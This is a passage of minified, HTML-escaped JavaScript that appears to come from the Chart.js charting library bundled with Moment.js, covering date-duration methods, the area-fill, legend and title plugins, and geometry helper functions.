proto$2.isValid=isValid$1,proto$2.abs=abs,proto$2.add=add$1,proto$2.subtract=subtract$1,proto$2.as=as,proto$2.asMilliseconds=asMilliseconds,proto$2.asSeconds=asSeconds,proto$2.asMinutes=asMinutes,proto$2.asHours=asHours,proto$2.asDays=asDays,proto$2.asWeeks=asWeeks,proto$2.asMonths=asMonths,proto$2.asQuarters=asQuarters,proto$2.asYears=asYears,proto$2.valueOf=valueOf$1,proto$2._bubble=bubble,proto$2.clone=clone$1,proto$2.get=get$2,proto$2.milliseconds=milliseconds,proto$2.seconds=seconds,proto$2.minutes=minutes,proto$2.hours=hours,proto$2.days=days,proto$2.weeks=weeks,proto$2.months=months,proto$2.years=years,proto$2.humanize=humanize,proto$2.toISOString=toISOString$1,proto$2.toString=toISOString$1,proto$2.toJSON=toISOString$1,proto$2.locale=locale,proto$2.localeData=localeData,proto$2.toIsoString=deprecate(&quot;toIsoString() is deprecated. Please use toISOString() instead (notice the capitals)&quot;,toISOString$1),proto$2.lang=lang,addFormatToken(&quot;X&quot;,0,0,&quot;unix&quot;),addFormatToken(&quot;x&quot;,0,0,&quot;valueOf&quot;),addRegexToken(&quot;x&quot;,matchSigned),addRegexToken(&quot;X&quot;,matchTimestamp),addParseToken(&quot;X&quot;,(function(input,array,config){config._d=new Date(1e3*parseFloat(input,10))})),addParseToken(&quot;x&quot;,(function(input,array,config){config._d=new Date(toInt(input))})),hooks.version=&quot;2.24.0&quot;,setHookCallback(createLocal),hooks.fn=proto,hooks.min=min,hooks.max=max,hooks.now=now,hooks.utc=createUTC,hooks.unix=createUnix,hooks.months=listMonths,hooks.isDate=isDate,hooks.locale=getSetGlobalLocale,hooks.invalid=createInvalid,hooks.duration=createDuration,hooks.isMoment=isMoment,hooks.weekdays=listWeekdays,hooks.parseZone=createInZone,hooks.localeData=getLocale,hooks.isDuration=isDuration,hooks.monthsShort=listMonthsShort,hooks.weekdaysMin=listWeekdaysMin,hooks.defineLocale=defineLocale,hooks.updateLocale=updateLocale,hooks.locales=listLocales,hooks.weekdaysShort=listWeekdaysShort,hooks.normalizeUnits=normalizeUnits,hooks.relativeTimeRounding=getSetRelativeTimeRounding,hooks.relativeTimeThreshold=getSetRelativeTimeThreshold,hooks.calendarFormat=getCalendarFormat,hooks.prototype=proto,hooks.HTML5_FMT={DATETIME_LOCAL:&quot;YYYY-MM-DDTHH:mm&quot;,DATETIME_LOCAL_SECONDS:&quot;YYYY-MM-DDTHH:mm:ss&quot;,DATETIME_LOCAL_MS:&quot;YYYY-MM-DDTHH:mm:ss.SSS&quot;,DATE:&quot;YYYY-MM-DD&quot;,TIME:&quot;HH:mm&quot;,TIME_SECONDS:&quot;HH:mm:ss&quot;,TIME_MS:&quot;HH:mm:ss.SSS&quot;,WEEK:&quot;GGGG-[W]WW&quot;,MONTH:&quot;YYYY-MM&quot;},hooks}()})),FORMATS={datetime:&quot;MMM D, YYYY, h:mm:ss a&quot;,millisecond:&quot;h:mm:ss.SSS a&quot;,second:&quot;h:mm:ss a&quot;,minute:&quot;h:mm a&quot;,hour:&quot;hA&quot;,day:&quot;MMM D&quot;,week:&quot;ll&quot;,month:&quot;MMM YYYY&quot;,quarter:&quot;[Q]Q - YYYY&quot;,year:&quot;YYYY&quot;};core_adapters._date.override(&quot;function&quot;==typeof moment?{_id:&quot;moment&quot;,formats:function(){return FORMATS},parse:function(value,format){return&quot;string&quot;==typeof value&amp;&amp;&quot;string&quot;==typeof format?value=moment(value,format):value instanceof moment||(value=moment(value)),value.isValid()?value.valueOf():null},format:function(time,format){return moment(time).format(format)},add:function(time,amount,unit){return moment(time).add(amount,unit).valueOf()},diff:function(max,min,unit){return moment(max).diff(moment(min),unit)},startOf:function(time,unit,weekday){return time=moment(time),&quot;isoWeek&quot;===unit?time.isoWeekday(weekday).valueOf():time.startOf(unit).valueOf()},endOf:function(time,unit){return moment(time).endOf(unit).valueOf()},_create:function(time){return moment(time)}}:{}),core_defaults._set(&quot;global&quot;,{plugins:{filler:{propagate:!0}}});var mappers={dataset:function(source){var index=source.fill,chart=source.chart,meta=chart.getDatasetMeta(index),points=meta&amp;&amp;chart.isDatasetVisible(index)&amp;&amp;meta.dataset._children||[],length=points.length||0;return length?function(point,i){return i&lt;length&amp;&amp;points[i]._view||null}:null},boundary:function(source){var boundary=source.boundary,x=boundary?boundary.x:null,y=boundary?boundary.y:null;return helpers$1.isArray(boundary)?function(point,i){return boundary[i]}:function(point){return{x:null===x?point.x:x,y:null===y?point.y:y}}}};function decodeFill(el,index,count){var target,model=el._model||{},fill=model.fill;if(void 0===fill&amp;&amp;(fill=!!model.backgroundColor),!1===fill||null===fill)return!1;if(!0===fill)return&quot;origin&quot;;if(target=parseFloat(fill,10),isFinite(target)&amp;&amp;Math.floor(target)===target)return&quot;-&quot;!==fill[0]&amp;&amp;&quot;+&quot;!==fill[0]||(target=index+target),!(target===index||target&lt;0||target&gt;=count)&amp;&amp;target;switch(fill){case&quot;bottom&quot;:return&quot;start&quot;;case&quot;top&quot;:return&quot;end&quot;;case&quot;zero&quot;:return&quot;origin&quot;;case&quot;origin&quot;:case&quot;start&quot;:case&quot;end&quot;:return fill;default:return!1}}function computeBoundary(source){return(source.el._scale||{}).getPointPositionForValue?function(source){var start,end,center,i,point,scale=source.el._scale,options=scale.options,length=scale.chart.data.labels.length,fill=source.fill,target=[];if(!length)return null;for(start=options.ticks.reverse?scale.max:scale.min,end=options.ticks.reverse?scale.min:scale.max,center=scale.getPointPositionForValue(0,start),i=0;i&lt;length;++i)point=&quot;start&quot;===fill||&quot;end&quot;===fill?scale.getPointPositionForValue(i,&quot;start&quot;===fill?start:end):scale.getBasePosition(i),options.gridLines.circular&amp;&amp;(point.cx=center.x,point.cy=center.y,point.angle=scale.getIndexAngle(i)-Math.PI/2),target.push(point);return target}(source):function(source){var horizontal,model=source.el._model||{},scale=source.el._scale||{},fill=source.fill,target=null;if(isFinite(fill))return null;if(&quot;start&quot;===fill?target=void 0===model.scaleBottom?scale.bottom:model.scaleBottom:&quot;end&quot;===fill?target=void 0===model.scaleTop?scale.top:model.scaleTop:void 0!==model.scaleZero?target=model.scaleZero:scale.getBasePixel&amp;&amp;(target=scale.getBasePixel()),null!=target){if(void 0!==target.x&amp;&amp;void 0!==target.y)return target;if(helpers$1.isFinite(target))return{x:(horizontal=scale.isHorizontal())?target:null,y:horizontal?null:target}}return null}(source)}function resolveTarget(sources,index,propagate){var target,fill=sources[index].fill,visited=[index];if(!propagate)return fill;for(;!1!==fill&amp;&amp;-1===visited.indexOf(fill);){if(!isFinite(fill))return fill;if(!(target=sources[fill]))return!1;if(target.visible)return fill;visited.push(fill),fill=target.fill}return!1}function createMapper(source){var fill=source.fill,type=&quot;dataset&quot;;return!1===fill?null:(isFinite(fill)||(type=&quot;boundary&quot;),mappers[type](source))}function isDrawable(point){return point&amp;&amp;!point.skip}function drawArea(ctx,curve0,curve1,len0,len1){var i,cx,cy,r;if(len0&amp;&amp;len1){for(ctx.moveTo(curve0[0].x,curve0[0].y),i=1;i&lt;len0;++i)helpers$1.canvas.lineTo(ctx,curve0[i-1],curve0[i]);if(void 0===curve1[0].angle)for(ctx.lineTo(curve1[len1-1].x,curve1[len1-1].y),i=len1-1;i&gt;0;--i)helpers$1.canvas.lineTo(ctx,curve1[i],curve1[i-1],!0);else for(cx=curve1[0].cx,cy=curve1[0].cy,r=Math.sqrt(Math.pow(curve1[0].x-cx,2)+Math.pow(curve1[0].y-cy,2)),i=len1-1;i&gt;0;--i)ctx.arc(cx,cy,r,curve1[i].angle,curve1[i-1].angle,!0)}}function doFill(ctx,points,mapper,view,color,loop){var i,ilen,index,p0,p1,d0,d1,loopOffset,count=points.length,span=view.spanGaps,curve0=[],curve1=[],len0=0,len1=0;for(ctx.beginPath(),i=0,ilen=count;i&lt;ilen;++i)p1=mapper(p0=points[index=i%count]._view,index,view),d0=isDrawable(p0),d1=isDrawable(p1),loop&amp;&amp;void 0===loopOffset&amp;&amp;d0&amp;&amp;(ilen=count+(loopOffset=i+1)),d0&amp;&amp;d1?(len0=curve0.push(p0),len1=curve1.push(p1)):len0&amp;&amp;len1&amp;&amp;(span?(d0&amp;&amp;curve0.push(p0),d1&amp;&amp;curve1.push(p1)):(drawArea(ctx,curve0,curve1,len0,len1),len0=len1=0,curve0=[],curve1=[]));drawArea(ctx,curve0,curve1,len0,len1),ctx.closePath(),ctx.fillStyle=color,ctx.fill()}var plugin_filler={id:&quot;filler&quot;,afterDatasetsUpdate:function(chart,options){var meta,i,el,source,count=(chart.data.datasets||[]).length,propagate=options.propagate,sources=[];for(i=0;i&lt;count;++i)source=null,(el=(meta=chart.getDatasetMeta(i)).dataset)&amp;&amp;el._model&amp;&amp;el instanceof elements.Line&amp;&amp;(source={visible:chart.isDatasetVisible(i),fill:decodeFill(el,i,count),chart:chart,el:el}),meta.$filler=source,sources.push(source);for(i=0;i&lt;count;++i)(source=sources[i])&amp;&amp;(source.fill=resolveTarget(sources,i,propagate),source.boundary=computeBoundary(source),source.mapper=createMapper(source))},beforeDatasetsDraw:function(chart){var meta,i,el,view,points,mapper,color,metasets=chart._getSortedVisibleDatasetMetas(),ctx=chart.ctx;for(i=metasets.length-1;i&gt;=0;--i)(meta=metasets[i].$filler)&amp;&amp;meta.visible&amp;&amp;(view=(el=meta.el)._view,points=el._children||[],mapper=meta.mapper,color=view.backgroundColor||core_defaults.global.defaultColor,mapper&amp;&amp;color&amp;&amp;points.length&amp;&amp;(helpers$1.canvas.clipArea(ctx,chart.chartArea),doFill(ctx,points,mapper,view,color,el._loop),helpers$1.canvas.unclipArea(ctx)))}},getRtlHelper$1=helpers$1.rtl.getRtlAdapter,noop$1=helpers$1.noop,valueOrDefault$e=helpers$1.valueOrDefault;function getBoxWidth(labelOpts,fontSize){return labelOpts.usePointStyle&amp;&amp;labelOpts.boxWidth&gt;fontSize?fontSize:labelOpts.boxWidth}core_defaults._set(&quot;global&quot;,{legend:{display:!0,position:&quot;top&quot;,align:&quot;center&quot;,fullWidth:!0,reverse:!1,weight:1e3,onClick:function(e,legendItem){var index=legendItem.datasetIndex,ci=this.chart,meta=ci.getDatasetMeta(index);meta.hidden=null===meta.hidden?!ci.data.datasets[index].hidden:null,ci.update()},onHover:null,onLeave:null,labels:{boxWidth:40,padding:10,generateLabels:function(chart){var datasets=chart.data.datasets,options=chart.options.legend||{},usePointStyle=options.labels&amp;&amp;options.labels.usePointStyle;return chart._getSortedDatasetMetas().map((function(meta){var style=meta.controller.getStyle(usePointStyle?0:void 0);return{text:datasets[meta.index].label,fillStyle:style.backgroundColor,hidden:!chart.isDatasetVisible(meta.index),lineCap:style.borderCapStyle,lineDash:style.borderDash,lineDashOffset:style.borderDashOffset,lineJoin:style.borderJoinStyle,lineWidth:style.borderWidth,strokeStyle:style.borderColor,pointStyle:style.pointStyle,rotation:style.rotation,datasetIndex:meta.index}}),this)}}},legendCallback:function(chart){var i,ilen,listItem,list=document.createElement(&quot;ul&quot;),datasets=chart.data.datasets;for(list.setAttribute(&quot;class&quot;,chart.id+&quot;-legend&quot;),i=0,ilen=datasets.length;i&lt;ilen;i++)(listItem=list.appendChild(document.createElement(&quot;li&quot;))).appendChild(document.createElement(&quot;span&quot;)).style.backgroundColor=datasets[i].backgroundColor,datasets[i].label&amp;&amp;listItem.appendChild(document.createTextNode(datasets[i].label));return list.outerHTML}});var Legend=core_element.extend({initialize:function(config){helpers$1.extend(this,config),this.legendHitBoxes=[],this._hoveredItem=null,this.doughnutMode=!1},beforeUpdate:noop$1,update:function(maxWidth,maxHeight,margins){var me=this;return me.beforeUpdate(),me.maxWidth=maxWidth,me.maxHeight=maxHeight,me.margins=margins,me.beforeSetDimensions(),me.setDimensions(),me.afterSetDimensions(),me.beforeBuildLabels(),me.buildLabels(),me.afterBuildLabels(),me.beforeFit(),me.fit(),me.afterFit(),me.afterUpdate(),me.minSize},afterUpdate:noop$1,beforeSetDimensions:noop$1,setDimensions:function(){var me=this;me.isHorizontal()?(me.width=me.maxWidth,me.left=0,me.right=me.width):(me.height=me.maxHeight,me.top=0,me.bottom=me.height),me.paddingLeft=0,me.paddingTop=0,me.paddingRight=0,me.paddingBottom=0,me.minSize={width:0,height:0}},afterSetDimensions:noop$1,beforeBuildLabels:noop$1,buildLabels:function(){var me=this,labelOpts=me.options.labels||{},legendItems=helpers$1.callback(labelOpts.generateLabels,[me.chart],me)||[];labelOpts.filter&amp;&amp;(legendItems=legendItems.filter((function(item){return labelOpts.filter(item,me.chart.data)}))),me.options.reverse&amp;&amp;legendItems.reverse(),me.legendItems=legendItems},afterBuildLabels:noop$1,beforeFit:noop$1,fit:function(){var me=this,opts=me.options,labelOpts=opts.labels,display=opts.display,ctx=me.ctx,labelFont=helpers$1.options._parseFont(labelOpts),fontSize=labelFont.size,hitboxes=me.legendHitBoxes=[],minSize=me.minSize,isHorizontal=me.isHorizontal();if(isHorizontal?(minSize.width=me.maxWidth,minSize.height=display?10:0):(minSize.width=display?10:0,minSize.height=me.maxHeight),display){if(ctx.font=labelFont.string,isHorizontal){var lineWidths=me.lineWidths=[0],totalHeight=0;ctx.textAlign=&quot;left&quot;,ctx.textBaseline=&quot;middle&quot;,helpers$1.each(me.legendItems,(function(legendItem,i){var width=getBoxWidth(labelOpts,fontSize)+fontSize/2+ctx.measureText(legendItem.text).width;(0===i||lineWidths[lineWidths.length-1]+width+2*labelOpts.padding&gt;minSize.width)&amp;&amp;(totalHeight+=fontSize+labelOpts.padding,lineWidths[lineWidths.length-(i&gt;0?0:1)]=0),hitboxes[i]={left:0,top:0,width:width,height:fontSize},lineWidths[lineWidths.length-1]+=width+labelOpts.padding})),minSize.height+=totalHeight}else{var vPadding=labelOpts.padding,columnWidths=me.columnWidths=[],columnHeights=me.columnHeights=[],totalWidth=labelOpts.padding,currentColWidth=0,currentColHeight=0;helpers$1.each(me.legendItems,(function(legendItem,i){var itemWidth=getBoxWidth(labelOpts,fontSize)+fontSize/2+ctx.measureText(legendItem.text).width;i&gt;0&amp;&amp;currentColHeight+fontSize+2*vPadding&gt;minSize.height&amp;&amp;(totalWidth+=currentColWidth+labelOpts.padding,columnWidths.push(currentColWidth),columnHeights.push(currentColHeight),currentColWidth=0,currentColHeight=0),currentColWidth=Math.max(currentColWidth,itemWidth),currentColHeight+=fontSize+vPadding,hitboxes[i]={left:0,top:0,width:itemWidth,height:fontSize}})),totalWidth+=currentColWidth,columnWidths.push(currentColWidth),columnHeights.push(currentColHeight),minSize.width+=totalWidth}me.width=minSize.width,me.height=minSize.height}else me.width=minSize.width=me.height=minSize.height=0},afterFit:noop$1,isHorizontal:function(){return&quot;top&quot;===this.options.position||&quot;bottom&quot;===this.options.position},draw:function(){var me=this,opts=me.options,labelOpts=opts.labels,globalDefaults=core_defaults.global,defaultColor=globalDefaults.defaultColor,lineDefault=globalDefaults.elements.line,legendHeight=me.height,columnHeights=me.columnHeights,legendWidth=me.width,lineWidths=me.lineWidths;if(opts.display){var cursor,rtlHelper=getRtlHelper$1(opts.rtl,me.left,me.minSize.width),ctx=me.ctx,fontColor=valueOrDefault$e(labelOpts.fontColor,globalDefaults.defaultFontColor),labelFont=helpers$1.options._parseFont(labelOpts),fontSize=labelFont.size;ctx.textAlign=rtlHelper.textAlign(&quot;left&quot;),ctx.textBaseline=&quot;middle&quot;,ctx.lineWidth=.5,ctx.strokeStyle=fontColor,ctx.fillStyle=fontColor,ctx.font=labelFont.string;var boxWidth=getBoxWidth(labelOpts,fontSize),hitboxes=me.legendHitBoxes,alignmentOffset=function(dimension,blockSize){switch(opts.align){case&quot;start&quot;:return labelOpts.padding;case&quot;end&quot;:return dimension-blockSize;default:return(dimension-blockSize+labelOpts.padding)/2}},isHorizontal=me.isHorizontal();cursor=isHorizontal?{x:me.left+alignmentOffset(legendWidth,lineWidths[0]),y:me.top+labelOpts.padding,line:0}:{x:me.left+labelOpts.padding,y:me.top+alignmentOffset(legendHeight,columnHeights[0]),line:0},helpers$1.rtl.overrideTextDirection(me.ctx,opts.textDirection);var itemHeight=fontSize+labelOpts.padding;helpers$1.each(me.legendItems,(function(legendItem,i){var textWidth=ctx.measureText(legendItem.text).width,width=boxWidth+fontSize/2+textWidth,x=cursor.x,y=cursor.y;rtlHelper.setWidth(me.minSize.width),isHorizontal?i&gt;0&amp;&amp;x+width+labelOpts.padding&gt;me.left+me.minSize.width&amp;&amp;(y=cursor.y+=itemHeight,cursor.line++,x=cursor.x=me.left+alignmentOffset(legendWidth,lineWidths[cursor.line])):i&gt;0&amp;&amp;y+itemHeight&gt;me.top+me.minSize.height&amp;&amp;(x=cursor.x=x+me.columnWidths[cursor.line]+labelOpts.padding,cursor.line++,y=cursor.y=me.top+alignmentOffset(legendHeight,columnHeights[cursor.line]));var realX=rtlHelper.x(x);!function(x,y,legendItem){if(!(isNaN(boxWidth)||boxWidth&lt;=0)){ctx.save();var lineWidth=valueOrDefault$e(legendItem.lineWidth,lineDefault.borderWidth);if(ctx.fillStyle=valueOrDefault$e(legendItem.fillStyle,defaultColor),ctx.lineCap=valueOrDefault$e(legendItem.lineCap,lineDefault.borderCapStyle),ctx.lineDashOffset=valueOrDefault$e(legendItem.lineDashOffset,lineDefault.borderDashOffset),ctx.lineJoin=valueOrDefault$e(legendItem.lineJoin,lineDefault.borderJoinStyle),ctx.lineWidth=lineWidth,ctx.strokeStyle=valueOrDefault$e(legendItem.strokeStyle,defaultColor),ctx.setLineDash&amp;&amp;ctx.setLineDash(valueOrDefault$e(legendItem.lineDash,lineDefault.borderDash)),labelOpts&amp;&amp;labelOpts.usePointStyle){var radius=boxWidth*Math.SQRT2/2,centerX=rtlHelper.xPlus(x,boxWidth/2),centerY=y+fontSize/2;helpers$1.canvas.drawPoint(ctx,legendItem.pointStyle,radius,centerX,centerY,legendItem.rotation)}else ctx.fillRect(rtlHelper.leftForLtr(x,boxWidth),y,boxWidth,fontSize),0!==lineWidth&amp;&amp;ctx.strokeRect(rtlHelper.leftForLtr(x,boxWidth),y,boxWidth,fontSize);ctx.restore()}}(realX,y,legendItem),hitboxes[i].left=rtlHelper.leftForLtr(realX,hitboxes[i].width),hitboxes[i].top=y,function(x,y,legendItem,textWidth){var halfFontSize=fontSize/2,xLeft=rtlHelper.xPlus(x,boxWidth+halfFontSize),yMiddle=y+halfFontSize;ctx.fillText(legendItem.text,xLeft,yMiddle),legendItem.hidden&amp;&amp;(ctx.beginPath(),ctx.lineWidth=2,ctx.moveTo(xLeft,yMiddle),ctx.lineTo(rtlHelper.xPlus(xLeft,textWidth),yMiddle),ctx.stroke())}(realX,y,legendItem,textWidth),isHorizontal?cursor.x+=width+labelOpts.padding:cursor.y+=itemHeight})),helpers$1.rtl.restoreTextDirection(me.ctx,opts.textDirection)}},_getLegendItemAt:function(x,y){var i,hitBox,lh,me=this;if(x&gt;=me.left&amp;&amp;x&lt;=me.right&amp;&amp;y&gt;=me.top&amp;&amp;y&lt;=me.bottom)for(lh=me.legendHitBoxes,i=0;i&lt;lh.length;++i)if(x&gt;=(hitBox=lh[i]).left&amp;&amp;x&lt;=hitBox.left+hitBox.width&amp;&amp;y&gt;=hitBox.top&amp;&amp;y&lt;=hitBox.top+hitBox.height)return me.legendItems[i];return null},handleEvent:function(e){var hoveredItem,me=this,opts=me.options,type=&quot;mouseup&quot;===e.type?&quot;click&quot;:e.type;if(&quot;mousemove&quot;===type){if(!opts.onHover&amp;&amp;!opts.onLeave)return}else{if(&quot;click&quot;!==type)return;if(!opts.onClick)return}hoveredItem=me._getLegendItemAt(e.x,e.y),&quot;click&quot;===type?hoveredItem&amp;&amp;opts.onClick&amp;&amp;opts.onClick.call(me,e.native,hoveredItem):(opts.onLeave&amp;&amp;hoveredItem!==me._hoveredItem&amp;&amp;(me._hoveredItem&amp;&amp;opts.onLeave.call(me,e.native,me._hoveredItem),me._hoveredItem=hoveredItem),opts.onHover&amp;&amp;hoveredItem&amp;&amp;opts.onHover.call(me,e.native,hoveredItem))}});function createNewLegendAndAttach(chart,legendOpts){var legend=new Legend({ctx:chart.ctx,options:legendOpts,chart:chart});core_layouts.configure(chart,legend,legendOpts),core_layouts.addBox(chart,legend),chart.legend=legend}var plugin_legend={id:&quot;legend&quot;,_element:Legend,beforeInit:function(chart){var legendOpts=chart.options.legend;legendOpts&amp;&amp;createNewLegendAndAttach(chart,legendOpts)},beforeUpdate:function(chart){var legendOpts=chart.options.legend,legend=chart.legend;legendOpts?(helpers$1.mergeIf(legendOpts,core_defaults.global.legend),legend?(core_layouts.configure(chart,legend,legendOpts),legend.options=legendOpts):createNewLegendAndAttach(chart,legendOpts)):legend&amp;&amp;(core_layouts.removeBox(chart,legend),delete chart.legend)},afterEvent:function(chart,e){var legend=chart.legend;legend&amp;&amp;legend.handleEvent(e)}},noop$2=helpers$1.noop;core_defaults._set(&quot;global&quot;,{title:{display:!1,fontStyle:&quot;bold&quot;,fullWidth:!0,padding:10,position:&quot;top&quot;,text:&quot;&quot;,weight:2e3}});var Title=core_element.extend({initialize:function(config){helpers$1.extend(this,config),this.legendHitBoxes=[]},beforeUpdate:noop$2,update:function(maxWidth,maxHeight,margins){var me=this;return me.beforeUpdate(),me.maxWidth=maxWidth,me.maxHeight=maxHeight,me.margins=margins,me.beforeSetDimensions(),me.setDimensions(),me.afterSetDimensions(),me.beforeBuildLabels(),me.buildLabels(),me.afterBuildLabels(),me.beforeFit(),me.fit(),me.afterFit(),me.afterUpdate(),me.minSize},afterUpdate:noop$2,beforeSetDimensions:noop$2,setDimensions:function(){var me=this;me.isHorizontal()?(me.width=me.maxWidth,me.left=0,me.right=me.width):(me.height=me.maxHeight,me.top=0,me.bottom=me.height),me.paddingLeft=0,me.paddingTop=0,me.paddingRight=0,me.paddingBottom=0,me.minSize={width:0,height:0}},afterSetDimensions:noop$2,beforeBuildLabels:noop$2,buildLabels:noop$2,afterBuildLabels:noop$2,beforeFit:noop$2,fit:function(){var textSize,me=this,opts=me.options,minSize=me.minSize={},isHorizontal=me.isHorizontal();opts.display?(textSize=(helpers$1.isArray(opts.text)?opts.text.length:1)*helpers$1.options._parseFont(opts).lineHeight+2*opts.padding,me.width=minSize.width=isHorizontal?me.maxWidth:textSize,me.height=minSize.height=isHorizontal?textSize:me.maxHeight):me.width=minSize.width=me.height=minSize.height=0},afterFit:noop$2,isHorizontal:function(){var pos=this.options.position;return&quot;top&quot;===pos||&quot;bottom&quot;===pos},draw:function(){var me=this,ctx=me.ctx,opts=me.options;if(opts.display){var maxWidth,titleX,titleY,fontOpts=helpers$1.options._parseFont(opts),lineHeight=fontOpts.lineHeight,offset=lineHeight/2+opts.padding,rotation=0,top=me.top,left=me.left,bottom=me.bottom,right=me.right;ctx.fillStyle=helpers$1.valueOrDefault(opts.fontColor,core_defaults.global.defaultFontColor),ctx.font=fontOpts.string,me.isHorizontal()?(titleX=left+(right-left)/2,titleY=top+offset,maxWidth=right-left):(titleX=&quot;left&quot;===opts.position?left+offset:right-offset,titleY=top+(bottom-top)/2,maxWidth=bottom-top,rotation=Math.PI*(&quot;left&quot;===opts.position?-.5:.5)),ctx.save(),ctx.translate(titleX,titleY),ctx.rotate(rotation),ctx.textAlign=&quot;center&quot;,ctx.textBaseline=&quot;middle&quot;;var text=opts.text;if(helpers$1.isArray(text))for(var y=0,i=0;i&lt;text.length;++i)ctx.fillText(text[i],0,y,maxWidth),y+=lineHeight;else ctx.fillText(text,0,0,maxWidth);ctx.restore()}}});function createNewTitleBlockAndAttach(chart,titleOpts){var title=new Title({ctx:chart.ctx,options:titleOpts,chart:chart});core_layouts.configure(chart,title,titleOpts),core_layouts.addBox(chart,title),chart.titleBlock=title}var plugins={},filler=plugin_filler,legend=plugin_legend,title={id:&quot;title&quot;,_element:Title,beforeInit:function(chart){var titleOpts=chart.options.title;titleOpts&amp;&amp;createNewTitleBlockAndAttach(chart,titleOpts)},beforeUpdate:function(chart){var titleOpts=chart.options.title,titleBlock=chart.titleBlock;titleOpts?(helpers$1.mergeIf(titleOpts,core_defaults.global.title),titleBlock?(core_layouts.configure(chart,titleBlock,titleOpts),titleBlock.options=titleOpts):createNewTitleBlockAndAttach(chart,titleOpts)):titleBlock&amp;&amp;(core_layouts.removeBox(chart,titleBlock),delete chart.titleBlock)}};for(var k in plugins.filler=filler,plugins.legend=legend,plugins.title=title,core_controller.helpers=helpers$1,function(){function parseMaxStyle(styleValue,node,parentProperty){var valueInPixels;return&quot;string&quot;==typeof styleValue?(valueInPixels=parseInt(styleValue,10),-1!==styleValue.indexOf(&quot;%&quot;)&amp;&amp;(valueInPixels=valueInPixels/100*node.parentNode[parentProperty])):valueInPixels=styleValue,valueInPixels}function isConstrainedValue(value){return null!=value&amp;&amp;&quot;none&quot;!==value}function getConstraintDimension(domNode,maxStyle,percentageProperty){var view=document.defaultView,parentNode=helpers$1._getParentNode(domNode),constrainedNode=view.getComputedStyle(domNode)[maxStyle],constrainedContainer=view.getComputedStyle(parentNode)[maxStyle],hasCNode=isConstrainedValue(constrainedNode),hasCContainer=isConstrainedValue(constrainedContainer),infinity=Number.POSITIVE_INFINITY;return hasCNode||hasCContainer?Math.min(hasCNode?parseMaxStyle(constrainedNode,domNode,percentageProperty):infinity,hasCContainer?parseMaxStyle(constrainedContainer,parentNode,percentageProperty):infinity):&quot;none&quot;}helpers$1.where=function(collection,filterCallback){if(helpers$1.isArray(collection)&amp;&amp;Array.prototype.filter)return collection.filter(filterCallback);var filtered=[];return helpers$1.each(collection,(function(item){filterCallback(item)&amp;&amp;filtered.push(item)})),filtered},helpers$1.findIndex=Array.prototype.findIndex?function(array,callback,scope){return array.findIndex(callback,scope)}:function(array,callback,scope){scope=void 0===scope?array:scope;for(var i=0,ilen=array.length;i&lt;ilen;++i)if(callback.call(scope,array[i],i,array))return i;return-1},helpers$1.findNextWhere=function(arrayToSearch,filterCallback,startIndex){helpers$1.isNullOrUndef(startIndex)&amp;&amp;(startIndex=-1);for(var i=startIndex+1;i&lt;arrayToSearch.length;i++){var currentItem=arrayToSearch[i];if(filterCallback(currentItem))return currentItem}},helpers$1.findPreviousWhere=function(arrayToSearch,filterCallback,startIndex){helpers$1.isNullOrUndef(startIndex)&amp;&amp;(startIndex=arrayToSearch.length);for(var i=startIndex-1;i&gt;=0;i--){var currentItem=arrayToSearch[i];if(filterCallback(currentItem))return currentItem}},helpers$1.isNumber=function(n){return!isNaN(parseFloat(n))&amp;&amp;isFinite(n)},helpers$1.almostEquals=function(x,y,epsilon){return Math.abs(x-y)&lt;epsilon},helpers$1.almostWhole=function(x,epsilon){var rounded=Math.round(x);return rounded-epsilon&lt;=x&amp;&amp;rounded+epsilon&gt;=x},helpers$1.max=function(array){return array.reduce((function(max,value){return isNaN(value)?max:Math.max(max,value)}),Number.NEGATIVE_INFINITY)},helpers$1.min=function(array){return array.reduce((function(min,value){return isNaN(value)?min:Math.min(min,value)}),Number.POSITIVE_INFINITY)},helpers$1.sign=Math.sign?function(x){return Math.sign(x)}:function(x){return 0===(x=+x)||isNaN(x)?x:x&gt;0?1:-1},helpers$1.toRadians=function(degrees){return degrees*(Math.PI/180)},helpers$1.toDegrees=function(radians){return radians*(180/Math.PI)},helpers$1._decimalPlaces=function(x){if(helpers$1.isFinite(x)){for(var e=1,p=0;Math.round(x*e)/e!==x;)e*=10,p++;return p}},helpers$1.getAngleFromPoint=function(centrePoint,anglePoint){var distanceFromXCenter=anglePoint.x-centrePoint.x,distanceFromYCenter=anglePoint.y-centrePoint.y,radialDistanceFromCenter=Math.sqrt(distanceFromXCenter*distanceFromXCenter+distanceFromYCenter*distanceFromYCenter),angle=Math.atan2(distanceFromYCenter,distanceFromXCenter);return angle&lt;-.5*Math.PI&amp;&amp;(angle+=2*Math.PI),{angle:angle,distance:radialDistanceFromCenter}},helpers$1.distanceBetweenPoints=function(pt1,pt2){return Math.sqrt(Math.pow(pt2.x-pt1.x,2)+Math.pow(pt2.y-pt1.y,2))},helpers$1.aliasPixel=function(pixelWidth){return pixelWidth%2==0?0:.5},helpers$1._alignPixel=function(chart,pixel,width){var devicePixelRatio=chart.currentDevicePixelRatio,halfWidth=width/2;return Math.round((pixel-halfWidth)*devicePixelRatio)/devicePixelRatio+halfWidth},helpers$1.splineCurve=function(firstPoint,middlePoint,afterPoint,t){var previous=firstPoint.skip?middlePoint:firstPoint,current=middlePoint,next=afterPoint.skip?middlePoint:afterPoint,d01=Math.sqrt(Math.pow(current.x-previous.x,2)+Math.pow(current.y-previous.y,2)),d12=Math.sqrt(Math.pow(next.x-current.x,2)+Math.pow(next.y-current.y,2)),s01=d01/(d01+d12),s12=d12/(d01+d12),fa=t*(s01=isNaN(s01)?0:s01),fb=t*(s12=isNaN(s12)?0:s12);return{previous:{x:current.x-fa*(next.x-previous.x),y:current.y-fa*(next.y-previous.y)},next:{x:current.x+fb*(next.x-previous.x),y:current.y+fb*(next.y-previous.y)}}},helpers$1.EPSILON=Number.EPSILON||1e-14,helpers$1.splineCurveMonotone=function(points){var i,pointBefore,pointCurrent,pointAfter,alphaK,betaK,tauK,squaredMagnitude,deltaX,pointsWithTangents=(points||[]).map((function(point){return{model:point._model,deltaK:0,mK:0}})),pointsLen=pointsWithTangents.length;for(i=0;i&lt;pointsLen;++i)if(!(pointCurrent=pointsWithTangents[i]).model.skip){if(pointBefore=i&gt;0?pointsWithTangents[i-1]:null,(pointAfter=i&lt;pointsLen-1?pointsWithTangents[i+1]:null)&amp;&amp;!pointAfter.model.skip){var 